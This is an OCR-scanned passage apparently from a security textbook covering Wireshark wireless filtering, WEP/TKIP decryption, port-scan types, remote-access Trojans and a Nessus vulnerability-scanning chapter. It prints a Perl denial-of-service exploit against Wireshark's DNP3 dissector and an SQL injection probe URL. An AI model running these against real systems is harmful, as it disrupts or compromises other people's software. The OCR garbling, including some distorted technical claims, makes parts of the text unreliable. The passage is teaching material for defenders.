wlan.sa =g O0:0%:Sh:=B:04:03

* Filter un ESSID |Figure 3-10]
® Filtering on BS51D is necessary for management frames. Consider the BSSID for the station with the
source address 00:11:92:fe:cf:00. Then you can apply the filter for the specific BSSID as:

wlan.bssid eg 00:11:92:6e:cf:00

* Filter on 5510
* You can apply a display filter to identify all packets that inclode the S5ID *NOWIRE,” as shown in

Figure 3-11.
wlan _ mgt.taq.interpretation =g “HONIRE"

Wireless Frame-Type Filters
When assessing a wireless packet capture with Wireshark, it is commaon to apply display filers to look for or
exclude certain frames based on the IEEE 802.11 frame-type and frame-subtype fields.

1f you are trying to exclude frames from a capture, it is easy to identify the Type and Subtype fields by navigat-
ing to the packet details window and using the values for your filter. Table 3-13 shows a list of various wireless

frame-type filters.
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Table 2-13  This shows soms of the wiraless frams-typa filters

Unencrypted Data Traffic

Amnother common analysis technigue is to identify wireless traffic that is not encrypted. This may be in an effort
to identify miscomfigured devices that could be disclosing sensitive information over the wireless network. Most
rogue devices are deployed with no encryption. In the IEEE 802.11 header analysis, one of the bits in the frame
controd header is known as the protected bit. The protected bit is set to 1 when the packet is encrypted using an
IEEE BD2.11 encryption mechanism such as WEF, TEIF, or CCMP; otherwise, it is set to 0.
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Figure 3-12  This screen shows a filter that identifies all unencrypted wireless traffic.

You can apply a filter using this field to identify all unencrypted wireless raffic [Figure 3-12):
wlan.fo.protected ne 1

It is not the most effective display filter because it also reveals unencrypted management and control frames.
Since these frames are always unencrypted, you can extend the display filter to identify unencrypted data frames
only, to get the best analysis:

wlan.fo protactad ne 1 and wlan.fo.type =g 2

Identifying Hidden 551Ds

An S5, or sevvice set idewtifier, is the name of a wireless network. All devices on the wireless network muost
use the same 550 to communicate with one another. Many wireless networks are not broadcast, so to join the
network, the client must know it is there to join it It is an ineffective mechanism for controlling access o the
network and should only be wsed in conjunction with a strong encryption and authentication mechanism. To
abscure the 5510 of the network, the WATF does not respond when it receives a request for the network name,
and it remwves the 510 advertisement from beacon Frames.

Because it is mandatory to include some indicator of the network name (whether legitimate or not) in beacon
frames, some vendors have attempted to obscure the 5510 by replacing it with one or more space characters or
WULL bytes {one or mare Os) or an 5510 with a length of 0.0, An example of a doaked S5ID represented by
Wireshark is shown in Figure 3-13.

In this case, the 5510 for this network has been replaced with an empty value of 0 bytes. While this may
hide the 551D from users, stations will still send the 5511 in plaintext over the network each time they associate
with the wireless network. In this example, we see that the BSSID of the network is 00:0b:86:c2:24:89; a dis-
play filter for this network BSSID and associated request frames can be applied to examine the 5510 sent by
the client:

wlan.basid =g 00:0b:BS:cZ-a4:89 and
wlan.foc.type_subtype =g 0
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Fgure 3-14  This is a revealed S510. Now the 5510 is s=t to guestnet and is visible.

This filter reveals any association requests for the specified BSSID. By clicking IEEE BD2.11 Wireless LAN

Management Frame | Tagged P

s | 5510 Par Set, the S5ID specified by the client station is

revealed, showing the 5510 for the network as guestnet [Figure 3-14).
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Failures

Troubleshoating authentication problems on a wireless network can ke challenging and often requires a
packet sniffer to determine if the failure is happening on the client or over the network. Wireshark can assist
in identifying EAP |Extensible Authentication Protocol] authentication failure messages. Presently, there are
four EAP codes. The EAP Code field is present in all EAP packets and can indicate the content of the message
that follows:

* Code I—EAF Reguest: & value of 1 in the EAP Code field indicates that the EAT frame is requesting
information from the recipient. This can be identity information, encryption negotiation content, or a
respanse-to-challenge text.

* Code 2—EAFP Response: A value of 2 in the EAP Code field indicates that the EAP frame is responding
tor an EAF Request frame.

* Code 3—EAF Swccess: A value of 3 in the EAP Code field indicates that the previous EAT Response
was successful. This is primarily used as a response o authentication messages.

* Code 4—EAF Failiere: A valoe of 4 in the EAF Code field indicates that the previous EAP Response
failed authentication.
= A user can apply a filter to identify EAP failures:

=ap.code =g 4

See Figure 3-15 for an example of this.
Identifying WEP

WEFP [Wired Equivalent Privacy] is an encryption mechanism used to protect wireless networks. It is also widely
known as an insecure protocol.

‘Wireshark uniquely identifies WEP-encrypted traffic by decoding the 3-byte WEF header that follows the
IEEE 802.11 header. You can identify WEF traffic by identifying any frames that include the mandatory WEP
initialization vector (1V).
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Common encryption mechanisms on wireless networks include standard IEEE wireless LAN encryption pro-
tocols such as WEP, TKIP, and CCMP, as well as upper-layer encryption mechanisms such as Internet Protocal
Securiey (IPSech/Virtual Private Network (VPM].

Figure 3-16 shows the filter wlanwep.iv.

Identifying TKIP and CCMP

Temporal Key Integrity Protocol (TKIP) is the successor to WEP and is designed to be a software upgrade for
hardware built only to support WEP. TKIP was designed to work on legacy WEP hardware; it retains the use
of the same underlying encryption protoce], RC4. RO4 is still considered safe for current use; it is no longer an
acceptable encryption mechanism for use by U5, government agencies.

Anather altermative is to use the CDC-MAC Protocol (CCMP) protocol, which uses the Advanced Encryp-
tion System | AES) cipher.

Like WEF, both TKIP and CCMP use an encryption protocel header that follows the IEEE 802,11 header.
This header is modified from the legacy WEP header, allowing us to identify whether TKIF or CCMP are in
use, but does not allow us to differentiate TEIP from CCMP. You can only determine that one or the other is
currently in use by looking at this header (Figure 3-17).

You can use a display filter to identify this header by filtering on the extended 1% field:

wlan.tkip.extiv
wlan.bssid eq 00:0f:66:e3:24:03 and
wlan.fc.bype subtype =g B

Diespite the use of TKIP in this display filter, it is impossible to differentiate between TKIP and COCMP by
looking at the emcryption header. To identify whether TKIP or CCMP is in use, the administrator needs to
inspect data in a beacon frame.

Tav identify a beacon frame for this network, apply a display filter using the BS51D identified with this filter,
looking for packets with the typefsubtype for a beacon frame:

wlan.bssid eq 00:0f:66:e3:24:03 and

wlan.fc.bype subtype =g B
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Figure 318 Tao identify IPSec traffic, apply the filter “isakmp or ah or esp.”

Identifying IPSec/VPN

Some wireless networks do not use the standard TEEE B02.11 encryption mechanisms, opting for an upper-layer
encryption mechanism such as 1P5ec. Wireshark can identify this type of encryption mechanism by applying a
display filter for any of the associated 175ec protocols such as the Internet Security Association and Key Man-
agement Protocol (1SAKMPY, the Encapsulating Security Payload [ESP), or the Authentication Header (AH]
protocol |Figure 3-18).
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Figure 3-19  This shows the results of using the filter “isakmp or ah or esp”
in Wireshark.

Tar identify [PSec traffic, apply a display filter as follows:
isakmp or ah or esp

See Figure 3-19 for the results of using this filer
Decrypting Traffic
One of the challenges of wireless traffic analysis is the ability to inspect the contents of encrypted data frames.
While Wireshark has the ability to decode many different netwaork-layer and higher protocols, encrypted traf-
fic limits the ability to analyze packets and troubleshoot network problems. Wireshark offers some options to
analyze WEP-encrypeed data. When configured with the appropriate WEP key, Wireshark can automatically
decrypt WEP-encrypted data and dissect the plaintext contents of these frames. This allows the administrator
to use display filters, coloring rules, and other Wireshark features on the decrypted frame contents.

Far Wireshark to decrypt the contents of WEP-encrypted packets, it must be given the appropriate WEP
key for the network. Wireshark does not assist in breaking WEP keys or attacking the WEF protocol. Only
the begitimate administrator of a wireless network can configure Wireshark with the appropriate WEFP key by
clicking Edit | Preferences and then expanding the Protocols menu and selecting IEEE 802.11. In the Wireshark
Preferences window, supply one or more WEF keys in hexadecimal form separated by colons. After entering vne
or more WEP keys, check the Enable Diecryption check box. Click OK when finished [Figures 3-20 and 3-21).

‘Wireshark will automatically apply the WEP key to each WEP-encrypted packet in the capture. 1f the packet
decrypts properly, Wireshark will add a tabbed view to the Packet Bytes window, allowing the administratar
to choose between the encrypted and decrypted views. Wireshark will also dissect the comtents of an unen-
crypted frame, displaying the embedded protocol information as if the frame were unencrypted in s original
state. Wireshark does not support encrypting TKIP or CCMTP packets. External tools such as the airdecap-ng
utility (included in the open-source Aircrack-ng suite of tools) can rewrite a packet capture that uses the TEIF
protocol. airdecap-ng requires knowledge of either the PSK |preshared key] or the PME |pairwise master key)
to decrypt TKIP traffic.

To install airdecap-ng, download and complete the installation instructions for the Aircrack-ng tools.
Download the latest version of Aircrack-ng from wuwweaircrack-np.org. For Windows systems, download the
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Figure 3-21 This shows enoypted and unenorypted YWEP traffic.

Aircrack-ng Zip file for Windows and extract it to an appropriate directory. Linux users must build the software
using a C compiler, or obtain a precompiled binary from a Linux distribution vendor.

Omce Aircrack-ng is installed |Figore 3-22), use the airdecap-ng tool o decrype WEP or TKIP traffic, gen-
erating a new libpcap output file containing unencrypted traffic. There is no GUI interface for airdecap-ngs
therefore, it is necessary to open a command shell and execute airdecap-ng from the command prompe.
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Figure 3-22 This shows airdecap-ng command parameters.
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Figure 3-22 This shows Aircrack decrypting WEP traffic using airdecap-ng.

WEF traffic can be decrypted by specifying the WEP key in hexadecimal format using the -w flag. airdecap-ng
will decrypt the traffic in the identified capture file, generating a new file with *-dec™ appended to the filename
before the file extension (Figure 3-23).

A TKIP packet capture can be decrypted using the same technigue, by specifying the TEIP PME with the -k
parameter or by specifying the PSK with the -p parameter. When decrypting TEIP traffic, specify the network
5510, Once the packet captures are decrypted with airdecap-ng, the unencrypted packet contents can be opened
and inspected with Wireshark. See Figure 3-24 to see how this looks.

Scanning

Scanning is ome of the most important phases of intelligence gathering for an attacker. In the process of scan-
ning, the attacker tries to gather information about the specific IP addresses available over the Internet, the
target™s operating systems, the target’s system architecture, and the services running on each computer. The idea
is to identify exploitable channels, to probe as many listeners as possible, and to keep track of the ones that are
respansive or useful to an attackers particular needs. In the scanning phase, the attacker tries to find various
ways to intrude into the target system. The attacker also tries to discover more about the target system by finding



Scaming 339

A T W e pmton A Sl s

a
Patrrraccatrcrickng .G L wEnskniriecagng —3 —p Clmcienarg” u knkogs

ke .du
-iﬁ run::r off  gan b l Ed?
r ef ca 17 ]
mbaw rf U fmim g b [
laintmat rata p.l: hm e [
il:lMl € ]
REmr o -:-m- rhnte 3]

'|\llrlrl:l\‘lr:rl:l‘n?" wb Ll wansBRan iy wpapskdec. dusg
Unlups #n deive I 42
Uulars furim]l oo 2o B 4R

Eirmniney nf Sita i =¥ 1 —urint b

[UFy i‘lﬁﬁ A_BaR pelbe=der dimgp
Filatz E.093 nx
ﬁ hrix:- 168,042 9491 kevtnz frim

Iadrcrackaircrack-ng—¥.6 . 1-winskani =

Figure 3-24 This shows Airorack deorypting TEIP traffic using airdecap-ng.

out what operating system is used, what services are running, and whether there are any configuration lapses in
the target system. Based on the intelligence the attacker gathers, he or she tries to form a strategy to launch an
attack. The various types of scanning are as follows:

= Fort scarming: Open ports and services
® Metwork scamming: [P addresses
* Metwork scanning is used to identify available netwoark resources.

* Also known as discovery or enumeration, network scanning can be used to discover available hosts,
ports, or resources on the netwaork.

= Once a vulnerable resource is detected, it can be exploited, and the device can be compromised.
* Sometimes, an actual intruder is behind the scanning, and sometimes it is a result of worm activity.

* WVilmerability scanming: Fresence of known weaknesses

TCP Connect Scan

The TCF connect scan is used to determine which ports are open and listening on a target device. This type of
scanning is the most basic because it completes the TCP three-way handshake with open ports and immediately
closes them. An intruder sends a 5YW packet and analyzes the response. A response packet with the reset (RST)
and acknowledgment [ACK) flags set indicates that the port is closed.

If a SYMN/ACK is received, it indicates that the port is open and listening. The intruder will then respond
with an ACK to complete the connection followed by an RSTYACK to immediately close the connection. This
aspect of the scan makes it easily detectable because of the error messages made during attempes to connect to
a pore.

Figure 3-15 shows the attacker, 192.168.0.9, sending 5Y N packets to the target, 192_168.0.9%. Most ports
respond with an RETACK packet; however, the highlighted packets show the SYNACK response and the sub-
sequent ACK followed by the RSTVACK exchange on the domain name system [DM5) port. You will alse notice
that the intruder’s source port increases by 1 for each attempted connection.

Figure 3-26 shows the active ports on the target device. You can find these by using a filter such as cop.
Elags.syn==liktcp.flags.ack==1 or tcp.flags==1E to view packets with the SY M and ACK flags set.
The filter will show multiple responses for each port because several scanning methods were used.

S¥N Scan

A TCP 5Y M scan is also known as a half-open scan because a full TCP connection is never completed. It is used
to determine which ports are open and listening on a target device.

An intruder sends a 5¥ W packet and analyzes the response. If an RST/ACK is received, it indicates that the
port is closed. If a SYM/ACK is received, it indicates that the port is open and listening. The intruder will then
fallow with an RET to close the connection. $YM scans are known as stealth scans because few devices will
notice or log them, because they never create a full connection.
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Figure 3-25  This shows the sequence of packets in a TCP connect scan.

M IR Yes G0 (mfee deloe Jooen s
Bdd e =842 @ +«+=FlL HE A“4982 §F 8k

o | i e

L,

N e
e

SRS S SN
Figure 3-26 This shows a TP connect scan.




Scarming 341

Mo pe @ oWes geka peea s
[ NN AN - N M=l N -

p— e g

mre P ks ol
- EE . gt S
S 1 i T ) B il fed Lt

N LI (| W, S bl

v s O B i B
& Tomrvem frrierd B T Foain L R, B bemin b DT, o 4, S €

P et L J hmrE s

Figure 3-27 The attacker is 192.168.009, and the target is 192.168.0.99.

Figure 3-27 shows the attacker, 192.168.0.9, sending YN packets to the target, 192168099,

Most ports respond with an RET/ACK packet. The highlighted packets show the 5¥ MISCE response and
the subseguent RST exchange on the HTTPS port. Motice that the intruder is using static source ports, 52198
and 52159,

Xmas Scan

The Xmas scan determines which ports are open by sending packets with invalid flag settings to a target
device. It is considered a stealth scan because it may be able to bypass some firewalls and ID% more easily than
SYN scans.

The Xmas scan sends packets with the finish (FIN), push (PSH), and urgent (URG) flags set. Closed ports
will respomd with an RST/ACK, and open ports will drop the packet and not respond. However, systems run-
ning Microsoft Windows, Cisco 105, BSDI, HFFUX, MVS, and IRTX will respond with RST packets, even from
apen ports.

Figure 3-28 shaws that the attacker, 192168009, is sending packets to the target, 192.168.0.99, with the
FIM, P5H, and URG flags set.

Most ports respond with an RSTIACK packet; however, the highlighted packet for the SunRPC port never
receives a response. This lack of a response indicates that the port is open and has dropped the packet. Alsa,
notice that the intruder is using decoy addresses 192.168.0.1, 192.168.0.199, and 192.168.0.254. The intruder
is using somewhat static source ports, 35%64 and 357965,

Mull Scan

The null scan determines which ports are open by sending packets with invalid flag settings to a target device.
It is considered a stealth scan because it may be able to bypass some firewalls and 1DS more easily than
SYM scans.

The null scan sends packets with all flags turned off. Closed pores wil | respond with an RST/ACK, and open
ports will drop the packet and not respond. This type of scan will not work against systems running Microsoft
Windows, Cisco 105, BSDI, HPUX, MVS, and IRIX. They will all respond with RS TPACK packets, even from
apen ports,

FF.ig_l':ll.lm 3-29 shows that the attacker, 192_168.0.9, is sending packets to the target 192.168.0.99, with all flags
turned off, as indicated by the empty brackets [].
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Figure 3-28 This shaws that the attacker is sending packets with the FIN, PSH, and
URG flags.
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Most ports respond with an RST/ACK packet. The highlighted packet for the HTTPS poart never receives a
respomse, therehy indicating that the port is open and has dropped the packet. Notice that the intruder s using
somewhat static source ports, 42294 and 42295,

Remote-Access Trojans

Trojans are malicious programs that are often disguised as other programs such as jokes, games, network
utilities, and sometimes even the Trojan removal program itself. Trojans are often used to distribute backdoor
programs without the victims being aware that they are being installed.

Backdoors operate in client-server architecture and allow the intruder to have complete control of a victim's
system remotely over the network. They give an intruder access to just about every function of the computer,
including logging keystrakes, activating the Webcam logging passwords, and uploading and downloading Files.
Backdoors even have password-protection and encryption features for intruders to protect the computers that
they take over.

There are hundreds, maybe even th ds, of Trojan prog circulating on the Internet, usually with
many variations of the code, making their detection with antivirus software very difficule.

Example
SubSeven (Figure 3-30) has numerows features that allow the intruder to completely control the victim®s com-
puter. It runs over a TCF connection with a default port of 27374, although this port is configurable.
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Figure 3-30 This shows SubSeven, a remote-access Trojan.
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NetBus Analysis

The MetBus backdoor Trojan is one of the older and more common Windows backdoor Trojans (Figure 3-31)
The following are some of the features of MetBus:

* It is easily detectable using antivirus software.
* It runs over a TCP connection with defaul ports of 12345 and 12346,
* [t allows the intruder to completely control the victim's computer (Figure 3-33).
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Fgure 3-31  This is the procedure for NetBus analysis.
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Figure 3-32 This is the a Met8us analysis screenshot.
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The intruder is running the client on 19216811, which is connected to the server an the victim's compauter at
192.1468.1.200. Motice that the server is running on the default ports 12345 and 12346 and that data are being
pushed between the client and server. The two separate source ports indicate two distinct TCF connections.

Wireshark DNP3 Dissector Infinite Loop Vulnerability

The Wireshark DNP3 Dissector infinite loop vulnerability causes Wireshark to enter an infinite boop. Using
infinite looping, an attacker masks other types of attacks. The loop that is found in the code due to this vulner-

ahility is as Follows:

For (templé = 0; bemplf = num_items; templ§++]

rum _ items is an unsigned integer that is defined with a length value of 32 bits, and the temp1e parameter
is defined as an unsigned integer with a length value of 16 bits. 5o, as the templs parameter canmst reach the
32-bit value stored in num _ items, this is an infinite loop. This vulnerability can be re-created by the DRP3
protocol fuzzer, or it can be launched by wsing the following explait code:

#!/usr/bin/perl

use gtrict;

uss warnings;

usa dJetopt::Std;

use I0::Epcket:-INET:

SEDG{INT} = ‘&kabork;

my Shost = *152.15B.4.52';

my Sport = ZO000;

my Sproto = ‘udp';

my SsockType = SO0CK_DORAM;

my Stimegut = 1;

#Read command line arguments

my fopt;

my Sopt_string = “hH:P:t:*;
getopts( *Sopt_string”, \bopt §;
if (defined fopt{hli {

usage(}

1

Shost = Sopt{k} 7 %Sopt{H] : Shose;
gport = $opt{ph @ Sopt(p) . Spore;
Stimmcut = Soptit} ¥ Sopt{t} : Stimecut;

¥ mutomatically generated by beSTORM{tm|

# Copyright Beyond Security {ci 2003-2007 [$Revision: 3741 5)
# Attack wector:

# MO:FO:ED.BTO:E0.BTO:BOI.ETI:BO.ETO

# Module:

# THP3
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my @commands = [

[command == *Sands,

Data ==

43005 X545 15,2002 00 1% e 00 2 00 20010 3000%, 30004, 2003, 3000 200 1% x 014, 00" .
4014300 T 3008, 30014 2 0200 3, 004 0 D8 20 T 0B |,
[command =» ‘Receive'),

1:

FRA

# End user configurable part

FRA

#1. Create a new conneEction

my $sock = new I0::Socket::INET |
PeerAddr => Shost,

PeerPort =» Sport,

Proto == §proto,

Type == SzockType,

Timeput =3 Stimecut,

1

or die "sccket error: $ho4Wwn";
print “connected to: fhost:$portin”;
Spock-sautocflushil};

binmode Ssock;

#2. communication part

foreach my Scommand {(@commands)

if [Ycommand-»{'Command’'] =g ‘Receive’)

my $buf = receivei(Ssock, Stimeout);
if [langth Sbuf)

print “received: [§buf]‘n-;

b

'

elsif (Ennm'nand-.s{'cmmand":- eg ‘Send')

[

print "sending: [*.%command-s{'Datar}.”]\n=;

send (Ssock, Ennmnand-.v:"l:}u.ta‘}, 0) or die "send failed,
reason: 3!h\n";

b

'
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#31. Clopse connection

close (Smock]:

#Th= =nd

sub receive

{

my Ssock = shiftk;

my Stimeout = shift;

my Stmpbuf;

my Shuf = ==

while(1}

{ # Example from perldoc -f alarm
eval |

local $5I1G{ALREM] = sub { die *timeouti\n® };
alarm Stimeout;

my Sret = read Seock, Sempbuf, 1; ANe read dats one byte at a time.
if [ !defined Sr=t or Sret == 0 )
{ #EoF

die “timecutin”:

i

alarm 0;

Sbuf .= Scmpbuf;

I

if (5@ { #time out

if{%® =3 “btimeputin")

{

last;

i

else |

die "recsive aborted\n”;

)

1

| #while

return Shuf;

i

sub abort

{

print *aborting . . a7

if (Smock)

f
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close Ssock;

die "User aborted operationn®;

sub usage

print "usages: 30 [-hHEPE]Yn*;

print "-hit: this help messagein®;

print "-H\t: override defasult host - Shostin<;
print "-Pit: override default port - Sporthn®;
print "-tt: set socket timeout in seconds\no;
exit 0;

Time Stamps

A time stamp shows the time at which a data packet is captured. The utilities that commonly provide time
stamps to Wireshark are libpcap and WinPcap. Time stamps are usually used for calculating the time difference

hetween two consecutive captures of data packets.

Wireshark provides the time display format that is required for the time stamps. The user can adjust this time
display format. But depending upon the requirement, Wireshark converts the time stamp either to the capture

file format or Wireshark internal format. To customize the time display formar:
1. Run Wireshark.
2, Click View.
3. Then, click Time Display Format.
4. Customize the date and time of day (Figure 3-33).
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Figure 2-33 (Customizing the time display format in Wireshark.
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Los Angelos | New York | Madrid Londan

Local offsat to UTC.

Table 3-14  Tima zone axamples for UTC amival timas fwithout D5T]

Capture File Formats

In Wireshark, each and every capture file furmat has a time stamp. File formats store the time stamps
with a certain precision (e.g., nanoseconds or microseconds), but Wireshark's internal format supports micro-
second resolution.

Time Zones

A time zone is the time recorded for a particular zone. When analyzing a caprure file, the concept of time zones
becomes confusing. The way Wireshark deals with time stamps and time zones is critical, but this confusion
can be avoided for the following reasons:

1. Wireshark is concerned with the time difference between consecutive packet time stamps.
2. The user does not capture files from various time zones [Table 3-14).

Setting the Computer's Time Correctly

Though time zones are not an issue, various adjustments can be made to synchronize Wiresharks capture with
time zones. First, the time stamp and time zone of the computer should be set appropriately. Set the time zone
to that of the current hxz.tiun, and set the computer’s time to the correct local time. Also, use N TP {Netwaork
Time Protocel] to adjust the computer’s time automatically.

Packet Reassembling

Packet reassembling is compressing a packet when data is too large. Wireshark uses packet reassembling to find,
decode, and display large chunks of data. It comes into play when large chunks of data packets are transported,
for example, while transferring files. Metwork protocols handle the chunk boundaries, so when the data are
l:rge, the prnb:mﬂ: :pﬂ:ﬂ data over :mu.||:ip|e pz.dce::.

Packet Loss

Packet foss is the error condition where data packets are transmitted correctly but never reach the destination.
It socurs due to poor network conditions or due to Internet congestion.

Retransmission

Resending lost data packets is called retramsmission. It occurs when a data packet or the acknowledgment
packet is lost. Ethernet duplex setting mismatches can cause packet loss and retransmission.

Checksums

Tao ensure data integrity, checksums are used by network protocols. These checksum algorithms are able to solve
simple errors. The algorithm applied to a particular network protocel depends an the ecror rate, error detection,
ahility of the processor, performance of the checksum, and other factors.

Wireshark Checksum Validation

Wireshark uses a checksum to validate protocols such as 1P, TCP, and UDF. The process is similar to that of a
normal receiver that provides checksum fields in the packet details. This feature can be switched off in Wire-
shark. If the checksum validation detects unnecessary errors, the packet reassembling also goes awry.
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Checksum Offloading

Mew or updated network hardware offers checksum offloading. In checksum offloading, the network driver
supplies empty checksum fields to the hardware, without calculating the checksum. The checksum offloading

problem can be avaided either by turning it off in the network driver or turning off the checksum validation of
the particular protocol in Wireshark.

Chapter Summary

Oime tool that is very useful in sniffing networks is Wireshark, a nerwork protocel analyzer.

Various utilities and tools used in Wireshark include TShark, Topdump, Capinfos, idl 2wrs, Editcap,
Mergecap, Text 2pcap, and others.

‘When placing a sniffer on a LAN, it may be difficult to lecate a good place because LANs can be large.
‘Wireshark is useful for security analysts, protocol and software developers, and network administrators.
‘Wireless networks require extra security features.

Hands-On Projects

- 1. Use Wireshark to read packets on the network, decode them, and present them in an easy o
ik understand format. Follow these steps:

Mavigate to Chapter 4 of the Student Resource Center.
Install and launch the Wireshark Netwark Analyzer program |Figure 3-34).
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Figure 3-34 This shows the main soreen.
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# Choose Capture | Interface (Figure 3-35).
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Figure 3-35 This shows the Capture menu.

® The Capture menu has many functions, such as Interfaces, Start, Stop, Restart, and
Capture Filters.

® A window is displayed that has the types of network connections in the system listed
|Figure 3-36].
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Figure 3-36 This shows the network interfaces.
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5 If you choose Start, a window with the live packet-capturing mode s enabled and dis-
played (Figure 3-37).
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Figure 3-37  This shows the live padeet-capturing maode.
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® The Analyze menu (Figure 3-38) allows you to:
u Set the filter
# See the firewall Access Comtrol List rules
® See and reset enabled protocols
5 Decode and perform user-specified decoding
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® The Statistics memu [Figure 3-3%) has different options for the statistics, including:
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Figure 3-30  This shows the Statistics menu.
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1LE

Choosing Sammary on the Statistics menu opens the Summary window (Figure 3-40).
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Figure 3-40 This shows the Summary window.
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® The Protocol Hierarchy Statistics window (Figure 3-41) gives the complete information for
the type of protoce] and the number of packets processed for that provecol.
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Figure 3-41  This shows the Protoool Hierarchy Statistics window.



Vulnerability Analysis with Nessus

Objectives
After completing this chapter, you should be able to:

Understand the features of Nessus
Understand the Nessus assessment process
Configure Nessus

Update Nessus plug-Ins

Use the Massus client

Start a Messus scan

Generate reports

Select plug-Ins

Recognize false posithves

wirlte Nessus plug-ins

Use the Tenable Security Center

Key Terms

Massus ID 2 unique numerical identifier given to every Messus plug-in

Introduction to Vulnerability Analysis with Nessus

Messus i a client-server-hased, open-source vulnerability scanner available at brtp-iicie messus.
org for Windows and UNIX plathorms. It provides a free, powerful, up-to-date, and easy-to-use
remate security scanner for business-critical enterprise devices and applications. Messus servers,
placed at strategic points on the network, scan a target computer for open ports and known vulner-
ahilities, and report to the Messus client. This chapter discusses how to use hath the Messus server
and the Messus client.

441
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Features of Nessus
The following are the major features of Messus:

Up-to-date security vulnerability database

® The Messus security vulnerability database is updated on a daily basis and can be retrieved with the
command nessus-update-plugins.

= An R55 feed of all the newest sacurity vulnerabilities shows which plog-ins are added and when_
Remote and local security
* Traditional network security scanners tend to focus solely on the services listening on the network.

® Messus has the ability to detect not only remote flaws in hosts on the network but also their lo-
cal flaws and missing patches—whether they are running Windows, Mac 05 X, or a UNIX-like
DpETating system.

Scalable

® Messus has been built so that it can easily scale from a single-CPU computer with low memory toa
guad-CPU computer with gigabytes of RAM.

® The more power given to Messus, the guicker it will scan the network.

Plug-ins

* Fach security test is written as an external plug-in, written in WASL.

* Updating Messus does not involve downloading untrusted binaries from the Internet.

= Fach MASL plug-in can be read and madified, to better understand the results of a Messus report.
MASL

® The Messus Security Scanner includes MASL [Messus Attack Scripting Languagel, a language
designed to write security tests easily and quickly.

= MASL plug-ins run in a contained environment on top of a virtual machine, thus making Nessus an
extremely secure scanner.

Smart service recognition
* Messus does not assume that the targer hosts will respect the IAMNA-assigned port numbers.

® Messus will recognize an FTP server running on a nonstandard port or o ‘Web server running on
pore BOE0.

Multiple services

® [fa host runs the same service more than once, Messus will test all instances.

Full 551 support

® Messus has the ability to test 551 services such as HTTPS, SMTPS, IMATS, and more.

= If supplied with a certificate, Messus can integrate into a PK1 environment to provide this featare.
Muondestructive or tharough

® Messus can either perform a regular nondestructive security audit on a routine basis or throw every-
thing it can at a remote host to see how well it withstands artacks from intruders.

MNessus Assessment Process

Messus performs a vulnerability assessment of the target network. This assessment involves three distince

phases:

3

Ecanning phase: Nessus probes a range of addresses on a network to determine which hosts are alive.

Enumeration phase: Wessus probes network services on each host to oheain banners that contain software
and 0% version information.

. Vulnerahility detection phase: Nessus probes remuote services according to a list of known vulnerabilities

such as input validation and buffer overflows.
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Figure 4-1 n the scanning phase, Mesus scans a range of addresses to determine
which hoasts are alive.

Scanning Phase

In the scanning phase, shown in Figure 4-1, Nessus probes a given range of addresses on a network to determine
live hosts.

ICMPF eche requests are sent to find live hosts on the network. Hosts that do not respond to ICMP requests
aren't necessarily dead; it is possible that they are behind a firewall or are blocking ICMP pings.

Part scanning can determine live hosts and their open ports. This creates a target set of hosts to be used in
the next phase.

Enumeration Phase

Messus probes network services on each host to obtain banners that contain software and O% version infor-
mation. Depending on what is being enumerated, username and password brute-force attacking can also take
place here.

Vulnerability Detection

Messus probes remote services and tests them against a list of known volnerabilities such as input validation,
buffer owerflows, and improper configuration. For example, if Messus were to detect an 501 injection vulner-
ahility, the following would take place:

= A Messus plug-in detects a vulnerahbility.

® The vulnerahility ocours in the category parameter of the script.

= Arhitrary 0L content can be injected into the script by requesting a page such as the following:
bitptfuno targethaost orpical_view_momth. phpdmontl =04 & yeer=2005 dreategory="traction =frint
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Figure 4-2 A site with a vendor-supplied patch applied would return a message like this one.

* A vulnerahle server would usually include the following text in the reply:
*SQ0L Error: 1064 You have an error in your EQL synotax near *%'* at line 1.7
EELECT cat _name FROM phpbb _cal _ categories WHERE cat _ id = %'

* If the vendor released a patch for the issue, trying to exploit the vulnerability on an immune site should

give a reply similar to the one shown in Figure 4-2.

* The script requests the vulnerable page with an injected quote ().

This will trigger the S0L injection and will output the desired error.

* If the error is found in the reply, it can be concluded that the target host is valnerable.

Deployment Requirements
The following are some of the requirements for deploying Messus:

* ERefore deploying Messus, become familiar with roating, filters, and firewall policies.
* Deploy Messws so that it has good 1P connectivity to the networks that it scans.

* Deploy Messus hehind a MAT device if Nessus needs to scan its internal network. Otherwise, it is not
necessary to deploy Messus behind o NAT device.

Configuring Nessus
Messus UNIX Servers

To enable a Messus client to control 2 UMNIX Messus scanner, a username and password combination must
be created. The wser account created for administration when the Messus server was installed can be used for
this purpose.

The nessus-adduser utility on the Messus server can be used to create the credentials. This utility is typically
lacated in the foptinessusfhinidirectory. For example, on Red Har Linux systems, this utility is located at jopas
nessusishintmessus-ad duser.

1f 2 Messus scanmer is configured to scan only certain IF ranges, the remote client can still use it. However, if
an attempt is made to scan outside of those ranges, no vulnerability data will be reported.

The Messus scanner must be restarted for any changes to take effect. It can be restarted with the kill com-
mand kill -HUP «process 1D of nessusd=.

Messus Windows Servars

Messus Windows can be configured to receive scan job requests from remate clients. An administrator firse has
to add an account for the remote client to use when logging into Messus, and then he or she needs to enable
Messus to listen for inkound network connections. By default, Messus only listens for localbhost connections.
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Figure 4-4 This is the 5can Server Configuration
tool.

Figure £-3  Run User Manag
fram the Start menu.

Adding Messus User Accounts

To manage the user accounts for Messus in Windows, an administrator needs to run the User Management toal
by clicking the Start button and then clicking All Programs, then Tenable Metwork Security, then Messos, and
finally User Management, as shown in Figure 4-3.

Please note that user accounts for Messus refer to a specific username and password used by the client o log
in remaotely in order to launch scans and retrieve vulnerability data.

Enabling Metwork Connections

T allow a remote connection to Nessus from remote MNessus clients, an administrator needs to run the Scan
Server Configuration tool. This tool configures the port and bound interface of the Nessus daemon. By default,
the Messus daemon listens for connections on localbost (127.0.001) and port 1241,

Messus must be configured to listen for connections either on one network interface or any interface.

= [If the server has only one IF address and network card, the administrator types in that [P address.
= [If the server has multiple IF addresses and Messus shoald listen for connections on port 1241 on only
one of those, the administrator types in the IP address of that interface.

s [f the server has rn.ultip|= 1P addresses and Messus should listen on all interfaces, the administrator uses
an IF address of 00,000,

Figure 4-4 shows the Scan Server Configuration tool bound to all network cards with an IP address of 0.0.000
and listening on port 1241 1f the light on the top left is red, it is indicating that the Tenable Nessus service is
not running. Clicking on the red button will start the service. This will turn the indicator yellow, and then green
if successful.

Any change to the information in the dialeg box of the Scan Server Configuration tool will alse prompt the
user bo restart the Tenable Messus service. To verify that Messus is indeed listening on port 1241, from the Win-
dows command line, the administrator can use the netstat -an command, as shown in Figure 4-3.

Host-Based Firewalls

